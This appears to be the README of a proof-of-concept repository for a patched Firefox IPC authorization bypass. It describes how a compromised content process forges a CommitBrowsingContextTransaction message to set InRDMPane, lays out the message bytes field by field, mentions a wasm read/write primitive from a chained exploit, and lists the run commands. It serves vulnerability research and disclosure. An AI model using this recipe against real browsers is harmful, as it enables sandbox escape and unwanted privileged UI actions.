
针对 Firefox BrowsingContext 授权绕过(CVE-2026-4692)的概念验证漏洞利用,演示如何伪造 IPC 消息以设置 InRDMPane 并启用特权 UI 触摸事件注入。
针对 BrowsingContext 字段同步缺失授权检查的概念验证:一个被攻破的内容进程伪造
PContent::CommitBrowsingContextTransaction 消息,在其自身的顶层 BrowsingContext 上设置
InRDMPane = true,而父进程直接应用了该设置。
目标:Firefox 149.0a1 nightly @ 2fbc0748c4(存在漏洞,修复前版本),macOS arm64。
已在 Firefox 149 中修复 — bug 2017643,提交 a9279ce332ed(“阻止内容进程切换 RDM
BrowsingContext 标志”),该提交新增了:
bool BrowsingContext::CanSet(FieldIndex<IDX_InRDMPane>, const bool&,
ContentParent* aSource) {
return XRE_IsParentProcess() && IsTop() && !aSource; // 若来自内容进程则拒绝
}
InRDMPane 告知父进程该标签页是响应式设计模式(RDM)窗格。父进程在命中测试合成触摸事件时
(BrowserParent::RecvDispatchTouchEvent)信任该标志:名义上针对 RDM 窗格的事件被允许落在
特权 chrome UI 上。被攻破的内容进程设置该标志后,可以发送带有负坐标/内容外坐标的触摸事件,
在无需用户交互的情况下点击特权 UI(参见报告者在 bug 2017643 上的 repro.patch,
该补丁使用打过补丁的构建精确演示了这一点)。本仓库演示了使能边界违规本身,
使用真实的消息伪造 — 无需修改浏览器源码。
PContent::CommitBrowsingContextTransaction — 消息类型 0x3a0137
(PContentMsgStart=58 << 16 | ordinal 311),路由 MSG_ROUTING_CONTROL
(INT64_MAX),标志 NOT_NESTED(0x001):
u64 bcid 哨兵值 235406151 ('aContext')
u64 0x0000000000800000 修改位集 word0(第 23 位 = InRDMPane)
u64 0 位集 word1 (BitSet<84> 的字为 size_t = u64!)
u32 1 WriteBool(true)
u32 523371752 哨兵值 'aTransaction'
u64 epoch (epoch 检查仅为 MOZ_ASSERT;此处已编译移除)
u32 132121169 哨兵值 'aEpoch'
投递复用 CVE-2026-74939 的发送路径:operator new →
IPC::Message::Message(routing, type, capacity, flags) → Pickle::WriteBytes →
在 PContent 通道上的 MessageChannel::Send,通过 wasm funcref 调用原语从 JS 驱动
(wasm-bytes.js,阶段 1 = CVE-2026-2796)。
运行 ./irun 后的父进程侧日志(MOZ_LOG=BrowsingContextSync:5):
D/BrowsingContextSync Transaction::Apply(#380000001, ipc): InRDMPane(false->true)
#380000001 是弹窗的顶层 BrowsingContext(子进程分配的 id,
通过 from IPC 创建),ipc 标记该事务为内容进程发起。
在已修复的构建上,相同的消息会通过 CanSet 验证失败并被拒绝。
前置条件:位于 /Users/sid/gecko-2766/obj-browser 的存在漏洞的 Nightly 构建,
包含 psutil 的 .venv,以及正在运行的捆绑日志服务器:
python3 srv.py > /tmp/srv4692.log 2>&1 & # 在 :8781 上提供此目录服务
python3 forge_bctx.py # 构建 bctx.bin/bctx.json
./irun # 启动 + 注入 + 收集证据
a9279ce332ed(MFSA 2026-20,Firefox 149)../poc-cve-2026-74939)../poc-cve-2026-12295)| 文件 | 用途 |
|---|
bctx.html | PoC 页面:运行时计算弹窗 BC id,将其修补到伪造消息中并发送 |
forge_bctx.py | 构建 bctx.bin/bctx.json(自验证),除 BC id 外完全静态 |
wasm-bytes.js | 阶段 1 原语:任意读写、funcref 调用 |
mdrive2.py | marionette 测试框架 |
irun | 插桩运行:lldb 附加 + BrowsingContextSync 证据 |
srv.py | 用于 PoC 页面的日志 Web 服务器(:8781) |
profile.user.js | Firefox 配置文件首选项(启用 fission,启用 dump) |